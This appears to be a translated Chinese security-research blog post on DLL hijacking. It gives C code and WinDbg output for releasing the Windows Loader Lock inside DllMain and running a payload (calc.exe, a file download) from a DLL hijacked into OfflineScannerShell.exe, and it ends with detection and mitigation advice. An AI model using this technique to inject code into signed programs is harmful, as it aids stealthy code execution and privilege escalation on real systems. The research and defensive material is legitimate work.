使用dumpbin.exe /exports C:\Windows\System32\ntdll.dll(dumpbin.exe是与Visual Studio一起安装的一款工具),我确认了LdrUnlockLoaderLock确实是ntdll.dll的一个导出函数,意味着我可以通过静态链接或者GetProcAddress很容易地获取它的地址,然后大概调用它来破解Loader Lock!

看一眼ReactOS源代码里LdrUnlockLoader的函数定义,看起来需要一个Cookie参数:

1
2
3
NTSTATUS NTAPI LdrUnlockLoaderLock ( IN ULONG Flags,
IN ULONG Cookie OPTIONAL
)

而且如果我们没有提供Cookie,函数会提前返回:

1
2
/* If we don't have a cookie, just return */
if (!Cookie) return STATUS_SUCCESS;

Cookie(只是个不被储存的魔数[Magic Number])是基于线程ID(通过GetCurrentThreadId或者直接从TEB中检索得)来计算得到的,说明我们理论上可以靠我们自己轻易创建一个有效的cookie。

不幸的是,事情并没有这么简单,经过我的分析,看起来 某个微软员工故意(但是如此巧妙)破坏了LdrUnlockLoaderLock 使得任何标准的4位十六进制的线程ID(比如0xffff)不可能通过验证步骤。分析过程十分的深入,所以我会将其留在Github的仓库好让任何想亲自验证我的结论的人使用。注意ReactOS对标的是Winodows Server 2003(还支持部分Windows7+的API),然而LdrUnlockLoaderLock的代码显然在新版本的Windows中被改动了。

某个微软的开发人员或许是因为作为NTDLL的导出函数太容易被接触可能会导致某些代码菜鸟滥用所以把这个函数有意破坏了。不过这确实说得通。通过在LdrUnlockLoadLock设置断点,我发现在我们的目标程序运行周期中该函数从未被调用过。真正在我们的程序中被调用的,还有在LdrUnlockLoaderLock的反汇编中调用的是另外一个名叫:LdrpReleaseLoaderLock的小函数。

看一眼这家伙的代码,我有预感我们会相处得很好!

1
2
lea     rcx, [ntdll!LdrpLoaderLock (7ff94e1765c8)]
call ntdll!RtlLeaveCriticalSection (7ff94e03f230)

LdrpReleaseLoaderLock 不是NTDLL的导出函数,所以为了拿到它,我们要从已知调用LdrReleaseLoaderLock的导出函数的反汇编中搜索提取它的地址。使用 WinDbg 命令 # 我们可以在NTDLL的汇编代码中搜索模式(patterns):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0:000> # "call    ntdll!LdrpReleaseLoaderLock" <NTDLL_ADDRESS> L9999999
ntdll!LdrpDecrementModuleLoadCountEx+0x79:
00007ff9'4e01fd11 e84ee90200 call ntdll!LdrpReleaseLoaderLock (00007ff9'4e04e664)
ntdll!LdrShutdownThread+0x201:
00007ff9'4e027651 e80e700200 call ntdll!LdrpReleaseLoaderLock (00007ff9'4e04e664)
ntdll!LdrpInitializeThread+0x213:
00007ff9'4e02794 b e8146d0200 call ntdll!LdrpReleaseLoaderLock (00007ff9'4e04e664)
ntdll!LdrpPrepareModuleForExecution+0xc9:
00007ff9'4e04d951 e80e0d0000 call ntdll!LdrpReleaseLoaderLock (00007ff9'4e04e664)
ntdll!LdrEnumerateLoadedModules+0x85:
00007ff9`4e06d955 e80a0dfeff call ntdll!LdrpReleaseLoaderLock (00007ff9`4e04e664)
ntdll!LdrUnlockLoaderLock+0x63:
00007ff9`4e08e023 e83c06fcff call ntdll!LdrpReleaseLoaderLock (00007ff9`4e04e664)
ntdll!LdrUnlockLoaderLock+0x71:
00007ff9`4e08e031 e82e06fcff call ntdll!LdrpReleaseLoaderLock (00007ff9`4e04e664)
ntdll!LdrShutdownThread$fin$2+0x10:
00007ff9'4e0b4ac7 e8989bf9ff call ntdll!LdrpReleaseLoaderLock (00007ff9'4e04e664)
ntdll!LdrpInitializeThread$fin$2+0x10:
00007ff9'4e0b4b2f e8309bf9ff call ntdll!LdrpReleaseLoaderLock (00007ff9'4e04e664)
ntdll!LdrEnumerateLoadedModules$fin$0+0x10:
00007ff9'4e0b59f5 e86a8cf9ff call ntdll!LdrpReleaseLoaderLock (00007ff9'4e04e664)
ntdll!RtlExitUserProcess+0x5f3c1:
00007ff9'4e0ccda1 e8be18f8ff call ntdll!LdrpReleaseLoaderLock (00007ff9'4e04e664)
ntdll!LdrpInitializeImportRedirection+0x46d72:
00007ff9'4e0d8976 e8e95cf7ff call ntdll!LdrpReleaseLoaderLock (00007ff9'4e04e664)
ntdll!LdrInitShimEngineDynamic+0xde:
00007ff9`4e0e068e e8d1dff6ff call ntdll!LdrpReleaseLoaderLock (00007ff9`4e04e664)
ntdll!LdrpInitializeProcess+0x1f6e:
00007ff9'4e0e3e2e e831a8f6ff call ntdll!LdrpReleaseLoaderLock (00007ff9'4e04e664)
ntdll!LdrpCompleteProcessCloning+0x93:
00007ff9`4e0e4bfb e8649af6ff call ntdll!LdrpReleaseLoaderLock (00007ff9`4e04e664)

如你所见,存在着多个潜在的定位ntdll!LdrpReleaseLoaderLock的着手点。 然而我们已经知道了ntdll!LdrUnlockLoaderLock是导出函数,而且看起来这是最直接的接近方法,所以从这里开始搜索。这部分的代码没什么特别的;只是搜索正确的调用操作数,执行一些额外的验证,提取执行调用指令的地址(rel32形式),接着声明LdrpReleaseLoaderLock函数原型以便我们调用。我进一步从LdrpReleaseLoaderLock提取了ntdll!LdrpLoaderLock的critical section的地址,让我们可以在DllMain返回之前再锁上Loader Lock(通过EnterCriticalSection)以确保安全性。请随意来我的GitHub仓库查看完整代码!现在,让我们在DllMain中检查一下…

1
2
3
4
5
6
7
8
0:000> !critsec ntdll!LdrpLoaderLock

CritSec ntdll!LdrpLoaderLock+0 at 00007ff94e1765c8
LockCount NOT LOCKED
RecursionCount 0
OwningThread 0
EntryCount 0
ContentionCount 0

可以看到我们成功在DllMain中解锁了Loader Lock,让我们尝试调用ShellExecute来打开calc.exe!然后…还是没成功。但我们已经有了十分可人的进展!回想一下我们的Payload一节中我们本来还是会在ntdll!NtAlpcSendWaitReceivePort遭遇死锁的:

shellexecute-initial-deadlock-point-stack-trace

随着Loader Lock的释放,我们已经超越了之前的自己,来到了我们面前的下一个障碍:

shellexecute-deadlock-main-thread-creates-new-thread

shellexecute-deadlock-new-thread-loader

还记得ShellExecute是怎么生成一个新线程的吗?可以看到现在线程已经成功被生成了,但是它的加载器正尝试加载更多库,与主程序刚启动时类似。

要解决这个问题得不停地试错。每当程序挂起,我就将挂起的部分更改让程序运行得更远一点,反反复复。

要生成一个新线程,本质上跟这两件事有关:

  • Win32事件
    • 使用SetEvent将事件设置为信号状态
    • 如果事件未被设置为信号状态,那么新线程会在NtWaitForSingleObject永远挂起
  • 加载器的工作锁:ntdll!LdrpWorkInProgress
    • 这不是critical section或者事件;就只是ntdll.dll内存中的一个1或0
    • 在当前线程直接/间接发起的每种加载器工作中,该锁似乎都位于锁层次结构的顶部!
    • 将其置0(FALSE)将运行被当前线程创建的线程进行加载工作,同时阻止加载工作发生在程序中的其他线程中(这对防止死锁/崩溃很重要)

我们可以使用这个WinDbg命令来列出所有Win32事件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:000> !handle 0 8 Event
Handle 4
Object Specific Information
Event Type Manual Reset
Event is Waiting
Handle c
Object Specific Information
Event Type Auto Reset
Event is Waiting
Handle 3c
Object Specific Information
Event Type Auto Reset
Event is Set
Handle 40
Object Specific Information
Event Type Auto Reset
Event is Waiting
Handle b0
Object Specific Information
Event Type Auto Reset
Event is Waiting
... *snip* More events *snip* ...
13 handles of type Event

我们设置这些必要的事件为信号状态(这些标识符似乎永远不会变)…

1
2
SetEvent((HANDLE)0x40);
SetEvent((HANDLE)0x4);

在当前线程生成它自己的新线程之前加载ShellExecute需要的库(我们等会解释)…

1
2
3
4
5
6
7
8
9
10
LoadLibrary(L"SHCORE");
LoadLibrary(L"msvcrt");
LoadLibrary(L"combase");
LoadLibrary(L"RPCRT4");
LoadLibrary(L"bcryptPrimitives");
LoadLibrary(L"shlwapi");
LoadLibrary(L"windows.storage.dll"); // 需要dll后缀因为它的名字中带点
LoadLibrary(L"Wldp");
LoadLibrary(L"advapi32");
LoadLibrary(L"sechost");

定位并置零ntdll!LdrpWorkInProgress的状态让ShellExecute生成的新线程可以进行加载工作…

1
2
PBOOL LdrpWorkInProgress = getLdrpWorkInProgressAddress();
*LdrpWorkInProgress = FALSE;

ntdll!LdrpLoaderLock类似,我们使用一个NTDLL的导出函数,在此处是RtlExitUserProcess,作为定位ntdll!LdrpWorkInProgress的出发点。

然后我们来一次ShellExecute

任务完成!

成功了!我们的calc.exe弹了出来(所有ShellExecute生成的线程都成功运行了;原来ShellExecute实际上还生成了一个线程),接着我们在DllMain返回之前做一些善后工作来防止崩溃/死锁。我已经在OfflineScannerShell.exe中一步步手动确认过,我们的目标程序完美运行直至自然终结且返回值为0(成功)!

此处给出我们实现的解锁Loader Lock代码的高度概括:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#define RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN

VOID LdrFullUnlock(VOID) {
// 完全破解Loader Lock

//
// 初始化
//

const PCRITICAL_SECTION LdrpLoaderLock = getLdrpLoaderLockAddress();
const HANDLE events[] = {(HANDLE)0x4, (HANDLE)0x40};
const SIZE_T eventsCount = sizeof(events) / sizeof(events[0]);
const PBOOL LdrpWorkInProgress = getLdrpWorkInProgressAddress();

//
// 准备部分
//

LeaveCriticalSection(LdrpLoaderLock);
// 如果要创建新线程,此后的准备步骤是必要的
// 其他场景下我也发现通常当payload间接调用__delayLoadHelper2时此步骤也是必要的
#ifdef RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN
preloadLibrariesForCurrentThread();
#endif
modifyLdrEvents(TRUE, events, eventsCount);
// 这样我们就不会在新线程(由ShellExecute生成)加载更多库时在ntdll!LdrpDrainWorkQueue被挂起
// ntdll!LdrpWorkInProgress必须为真当库被加载进当前线程之后
// ntdll!LdrpWorkInProgress必须为假当库正被加载进新线程
// 正因如此,我们必须在当前线程生成新线程之前提前加载ShellExecute需要的库
*LdrpWorkInProgress = FALSE;

//
// 执行我们的payload!
//

#ifdef RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN
// 必须预先加载当前线程上通过API调用加载的库
payload();
#else
DWORD payloadThreadId;
HANDLE payloadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, NULL, 0, &payloadThreadId);
if (payloadThread)
WaitForSingleObject(payloadThread, INFINITE);
#endif

//
// 善后
//

// 必须将 ntdll!LdrpWorkInProgress 设置回真否则有时在从DllMain返回之后会在NTDLL库加载代码中崩溃/死锁
// 崩溃/死锁是由其他线程中发生的并发操作造成的
// 默认会由ntdll!TppWorkerThread线程引起(https://devblogs.microsoft.com/oldnewthing/20191115-00/?p=103102)
*LdrpWorkInProgress = TRUE;
// 将事件设置回到之前安全的状态(尽管在我们的情况下似乎没必要)
modifyLdrEvents(FALSE, events, eventsCount);
// 重新锁上Loader Lock以确保安全 (尽管在我们的情况下似乎没必要)
// 不要使用ntdll!LdrLockLoaderLock函数来锁上Loader Lock。因为它有增加ntdll!LdrpLoaderLockAcquisitionCount的副作用而且我们大概率不希望如此
EnterCriticalSection(LdrpLoaderLock);
}

经过反复测试,代码达到了令人印象深刻的100%成功率,每一次都是成功的。

想要在当前线程不提前加载所有库的条件下调用ShellExecute(或其他的API),还需要更多对加载器的逆向工程。要实现这个目标,我推荐在NtSetEventNtResetEventRtlEnterCriticalSectionRtlLeaveCriticalSectionNtWaitForSinggleObject等函数设置断点。设置读/写监视点并且搜索(用我们之前用过的#命令)NTDLL的反汇编中对加载器状态变量的引用,比如ntdll!LdrWorkInProgress可能也会有所帮助。基本上就是在调用ShellExecute之前找到一些可控的NTDLL状态(state),它们会在ShellExecute唤起的第一个线程中触发ntdll!LdrpWorkInProgressFALSE。这只是关于什么需要发生的理论,只不过比这更加巧妙(涉及一些被忽略的控制流;也许都没必要接触ntdll!LdrpWorkInProgress)。肯定有方法能够完成。然是需要花些功夫。请随意自己尝试。

或者,我们也可以通过设置ntdll!LdrpWorlInProgressFALSE,调用CreateThread(这么做不会加载额外的库),通过WaitForSingleObject(payloadThread, INFINITE)等待DllMain中的新线程结束,再在新线程中调用ShellExecute(或者其他的payload)来完全解决这个小小的问题 ——不再需要“库预加载”。我比较推荐在实操利用时使用这个解决方案。只不过在此次演示中我希望通过直接从DllMain中执行ShellExecute来完成我的任务!

为了验证我们的ShellExecute测试法在实操时成不成立,我还试了一些先前在DllMain中(取消定义RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN)破解Loader Lock失败的复杂操作。包括成功使用WinHTTP下载文件;比起调用WinHttpOpenWINHTTP_DLL::Startup在加载ws2_32.dll时内部调用__delayLoadHelper2导致的死锁而言已经是显著的进步了。到目前为止,我们所做的尝试都完美成功了!

安全!

安全,安全,人人都想要安全,我们也想在DllMain安全地调用ShellExecute,好,那么我们就来谈谈安全!在我们这项技术中最明显不安全的地方就是与NTDLL直接交互。在Windows中,NTDLL中的一切会随Winodows的版本而变化。微软官方通过稳定的KERNEL32 API来暴露NTDLL的函数,并依此来保持原状。也就是说,我在尝试使用NTDLL中可能是为了减少崩溃几率而保持为无法接触状态的部分。比如,我使用了较为直接且更轻量的NTDLL导出,像为了使这项技术能用我们使用LdrUnlockLoaderLockRtlExitUserProcess作为定位一些NTDLL内部细节的起点。

就先假定我们所依赖的实现细节是高度成熟的吧, 尽可能不去改变它们。同时我们已经得到了我们所需的NTDLL内部地址(也许我们可以在进程中查找调试标志)。那么这么做有多安全呢?

一些Windows技术专家也许会说我们正在做的事违反了锁阶层。因此哪怕我们的进程单独运行时这不成问题,一些远程进程(remote process)仍然可能合法地在我们的进程中生成线程并且对loader做一些未指定的并发操作,因而导致死锁/崩溃。我已经尽我所能去维护Loader Lock的阶层了,在我们没有权限访问任何内部的微软官方文档的情况下。为了达到遵守锁阶层的目的,我们通过以锁定的相反顺序进行解锁来避免锁顺序倒转的问题。(这同样是为modifyLdrEvents中的事件做的实现)。

一个较为广为人知的情况是NT内核会在你传递Ctrl+C事件时将线程注入到你的进程中。然而,我觉得那只会在终端程序中发生,而OfflineScannerShell.exe是Windows(GUI)程序。即使这般,只要我们不违反锁阶层,应该就没事。

我们所做的充其量不过是优先级反转。虽然从性能角度来看这不是个好办法,因为会导致高优先级任务等待低优先级任务,但依然不会导致死锁/崩溃。最糟的情况下,我们违反了锁阶层,可能会导致坏事发生。

如果你正在编写现实生产应用,那应该不用我说你就得知道:请勿模仿。这篇研究的目的只是证明完全破解Loader Lock在技术上是可能的(而且除此之外,这十分漫长且艰难)。如果你在大量用户使用的产品中部署了这套复杂且迂回的Loader Lock解锁代码,那么责任全在你!还是得说一句,技术上可能是最好的那种可能。;)

technically-correct-meme

不过说真的,如果你是一个进行产品级软件开发的开发者,请不要使用上面这一套东西。即使你相信这对你而言是足够稳定的而且你不想听从微软官方的指导,尝试用相同的方法在反汇编代码中定位NTDLL内部细节会在非微软官方实现的Windows中失败。

顺便提一嘴,Wine关于LdrUnlockLoaderLock本地API函数(在Wine源代码dlls/ntdll/loader.c)看起来是这样的:

1
2
3
4
5
6
7
8
9
NTSTATUS WINAPI LdrUnlockLoaderLock( ULONG flags, ULONG_PTR magic )
{
if (magic)
{
if (magic != GetCurrentThreadId()) return STATUS_INVALID_PARAMETER_2;
RtlLeaveCriticalSection( &loader_section );
}
return STATUS_SUCCESS;
}

完全没有被破坏且没有通过线程ID进行不必要的计算来创建Cookie/magic值。所以,至少在Windows的其他实现版本中,想要安全地释放Loader Lock还不用看反汇编代码还是很容易的。注意flag参数,是用来控制是否改返回错误值或引发一个异常(raised an exception)的,目前在Wine上还没有被实现。对于任何有兴趣帮助Wine的人而言这会是杰出的新手友好型贡献。

Loader Lock只在Windows上有问题吗?

简单来说,是的。

在非Windows平台比如Mac与Linux,constructor(in C or C++)是最接近等价于DllMain的存在(虽然Winodws上也有这个,但是经过我的确认在DllMain本体运行前不久它在dllmain_dispatch受Loader Lock限制)。就像DllMain一样,constructor也是在库被加载时运行(对于卸载,还有一个destructor)。在使用GCC编译器的Linux上,任何函数可以被__attribute__((constructor))标记以在加载时运行。

正如Windows,Linux(使用glibc)当然也有“loader lock”(或者叫互斥锁)来保证线程中的竞态条件的安全性(我读过源代码)。

所以,为什么你在谷歌上搜索关于Loader Lock的问题你只能搜到Windows这边的问题。为什么只有微软会有那么长的一连串关于你不该在Loader Lock中做什么的清单,而GNU没有。

调查Windows与Linux(glibc)之间加载器的构造差异便是我下一篇文章的主题(这一篇已经够长了)。

技术抬杠(Technicality Nitpick)

在Windows中,“互斥锁”指的是进程间的锁而critical section指的是进程内的锁。但是这些属于在本文是通用,可互换使用的。

缓释与检测

从一开始就阻止相似的DLL被加载将永远是我们防止DLL劫持的最强大的措施。一旦系统中存在攻击者的代码在运行,我们就之恶能进行反制措施,而此时在学术角度来说已经我们已经输了(即被拖进了猫抓老鼠的游戏中)。

幸运的是,有一种确定无疑的方法可以检测 对Windows内置的静态加载库的 DLL 劫持。检查受怀疑的 DLL 的导出函数,查找与已签名的微软DLL中名称重复的符号名称(例如,至少是 Windows 附带的)。如果一个未经微软签名的 DLL 导出函数许多与微软签名的DLL具有相同的符号名,那么很有可能它的意图是劫持。这是因为 Windows 库加载程序在执行任何 DllMains 之前,如果发现 DLL 缺少 EXE 所需的导出,就会提前退出:

offlinescannershell-mpclient-dll-missing-export-error

上述方法可以与其他检测因素相结合,比如磁盘上的DLL是否与复制其导出函数的DLL共享相同的文件名,或者它是否存在于运行程序的全局环境变量PATH或当前工作目录(CWD)中,从而形成一种强大的启发式方法,至少对于内置库劫持是如此。

最好时刻留意PATH中默认的用户可写目录,比如C:\Users\<你的用户名>\AppData\Local\Microsoft\WindwosApps(上文提到的)。若CWD也是用户可写,也是同理。如果cmd.exe或类似的进程继承了CWD,则尤其如此。无论是从用户可写的PATH还是CWD中加载的库文件都应该被额外审查。对于用户可写程序目录,如果程序看起来是从非用户可写目录复制出来的,也是如此。

对于动态加载的DLL而言检查导入表是没用的(通过LoadLibrary加载)。不过以这种方式加载的DLL不怎么常见。

为了防止这种情况发生,我们可以检测微软程序是否加载了非微软签名的DLL。这个办法实际上已经存在于Windows中了!以下便是我们如何使用Set-ProcessMitigation使我们的目标OfflineScannerShell.exe有效防止DLL劫持:

1
Set-ProcessMitigation -Enable MicrosoftSignedOnly -Name OfflineScannerShell.exe

于是,当我们尝试劫持任何名为OfflineScannerShell.exe的程序,我们都会得到一个错误提示我们我们的非微软签名DLL已经被封禁:

offlinescannershell-mpclient-dll-unsigned-by-microsoft-error

因此,只需将该注册表值扔到您的组织中的所有系统中,就像这样,您将很容易挫败任何针对OfflineScannerShell.exe的劫持企图!!

总结

我们已经成功地创新了之前的研究,发现了一些新的整洁及通用的DLL劫持技术!我们还学习了一些关于并发、Windows库加载器、WinDbg的知识,并阐明了Loader Lock的内部工作原理。如果幸运的话,我们的发现和缓释/检测将有助于推动安全行业向前发展!

单独就Windows来说,有无数的机会让隐匿的代码通过DLL劫持注入到微软签名的程序中(用我们的新技术会让它们做的更好)。实际上,安全专家Wietze Beukema (@Wietze)已经在他的项目 HijackLibs(Sigma检测也包含在内) 编制了一个包含数百个这样的程序的列表!

我们新的DLL劫持方法还有助于简化特权提升漏洞攻击程序,即特权应用程序意外加载攻击者控制的DLL。这通常发生在特权应用程序缺少DLL时,可能导致它从用户可写路径加载。

今天,我们只发现了整洁与通用的DLL劫持技术的冰山一角。还有很多东西等着我们去发现——我有一个笔记,里面有更多其他有前途的内置再NTDLL或CRT的功能,可能会存在更好的技术(一个需要进一步研究的领域)。

很抱歉两个月没发文章。今后,我将致力于发表更多更短的文章(质量保持不变),以便定期分享新内容。这篇文章大约有9000字,所以研究然后每篇文章最多写1000字应该能让我完成目标。更多的好东西要来了!

关于我上文提到的一切内容的完整开源代码请见Github仓库 LdrLockLiberator


完美DLL劫持
http://example.com/2023/12/25/perfect_dll_hijacking/
作者
Blu3fat
发布于
2023年12月25日
许可协议